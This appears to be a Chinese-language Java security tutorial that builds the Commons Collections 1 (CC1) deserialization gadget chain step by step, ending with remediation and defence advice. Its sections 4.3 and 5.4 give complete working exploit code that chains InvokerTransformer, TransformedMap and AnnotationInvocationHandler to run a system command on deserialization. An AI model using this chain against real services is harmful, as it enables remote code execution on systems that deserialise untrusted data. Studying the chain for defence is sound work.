java安全:从发现者角度解析CC1链构造过程
字数 1862 2025-08-29 22:41:38
Java反序列化漏洞:Commons Collections 1(CC1)链构造详解
1. 背景介绍
Commons Collections是Apache提供的一个Java集合框架扩展库,广泛应用于各种Java项目中。CC1链是Java反序列化漏洞中最经典的利用链之一,它利用了Commons Collections库中的一系列特性来实现远程代码执行。
2. 核心组件分析
2.1 CommonsCollections类
CommonsCollections是一个集合类,具有以下特点:
- 接受广泛的参数类型
- 实现了Serializable接口(可序列化)
- 包含Transformer接口机制
2.2 Transformer接口
Transformer接口是CC1链的核心,定义如下:
public interface Transformer {
Object transform(Object input);
}
该接口的作用是接受一个对象,调用transform方法进行转换。
3. 漏洞发现过程
3.1 关键发现点
研究者发现InvokerTransformer类实现了Transformer接口,其transform方法实现如下:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (Exception ex) {
// 异常处理
}
}
这个方法可以通过反射调用任意对象的任意方法,包括Runtime.exec()这样的危险方法。
3.2 验证InvokerTransformer
可以通过以下代码验证InvokerTransformer的命令执行能力:
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(Runtime.getRuntime());
这段代码会执行系统计算器程序,证明了InvokerTransformer确实可以实现任意命令执行。
4. 调用链构造
4.1 寻找transform调用点
为了构建完整的利用链,需要寻找哪些类会调用transform方法。研究发现TransformedMap类满足这个条件。
4.2 TransformedMap分析
TransformedMap是一个Map装饰器,当对Map进行setValue操作时会调用transform方法:
- TransformedMap.decorate()方法可以创建一个TransformedMap实例
- 当调用Map.Entry.setValue()时,会触发以下调用链:
- AbstractInputCheckedMapDecorator.setValue()
- TransformedMap.checkSetValue()
- Transformer.transform()
关键点:
- checkSetValue是protected方法,不能直接调用
- 需要通过Map.Entry.setValue()间接触发
4.3 示例代码
// 创建恶意Transformer
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
// 创建并装饰Map
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
// 触发transform调用
for(Map.Entry entry : decoratedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
5. 反序列化利用
5.1 寻找readObject调用点
为了在反序列化时触发漏洞,需要寻找在readObject方法中调用setValue的类。研究发现AnnotationInvocationHandler满足这个条件。
5.2 AnnotationInvocationHandler分析
关键特性:
- 实现了Serializable接口
- 在readObject方法中会遍历memberValues的entry并调用setValue
- 构造方法接受一个Map参数(memberValues)
5.3 构造完整利用链
完整利用需要解决两个问题:
- AnnotationInvocationHandler没有public构造方法,需要通过反射创建
- Runtime对象不可序列化,需要间接获取
解决方案:
- 使用ChainedTransformer将多个Transformer串联
- 使用ConstantTransformer获取Runtime.class
- 使用反射创建AnnotationInvocationHandler实例
5.4 完整利用代码
// 创建Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建TransformedMap
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
// 通过反射创建AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Override.class, outerMap);
// 序列化和反序列化触发漏洞
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
6. 漏洞修复
Apache Commons Collections在后续版本中修复了此漏洞,主要措施包括:
- 增加了对InvokerTransformer的安全检查
- 引入了Serialization过滤器
- 建议升级到最新版本(3.2.2+或4.1+)
7. 防御措施
- 升级Commons Collections到安全版本
- 使用Java的Serialization过滤器
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
8. 总结
CC1链是Java反序列化漏洞的经典案例,它利用了:
- Commons Collections的Transformer机制
- Java反射机制
- Java反序列化特性
- 多个类的特定方法调用关系
理解CC1链的构造过程对于学习Java安全、反序列化漏洞防御具有重要意义。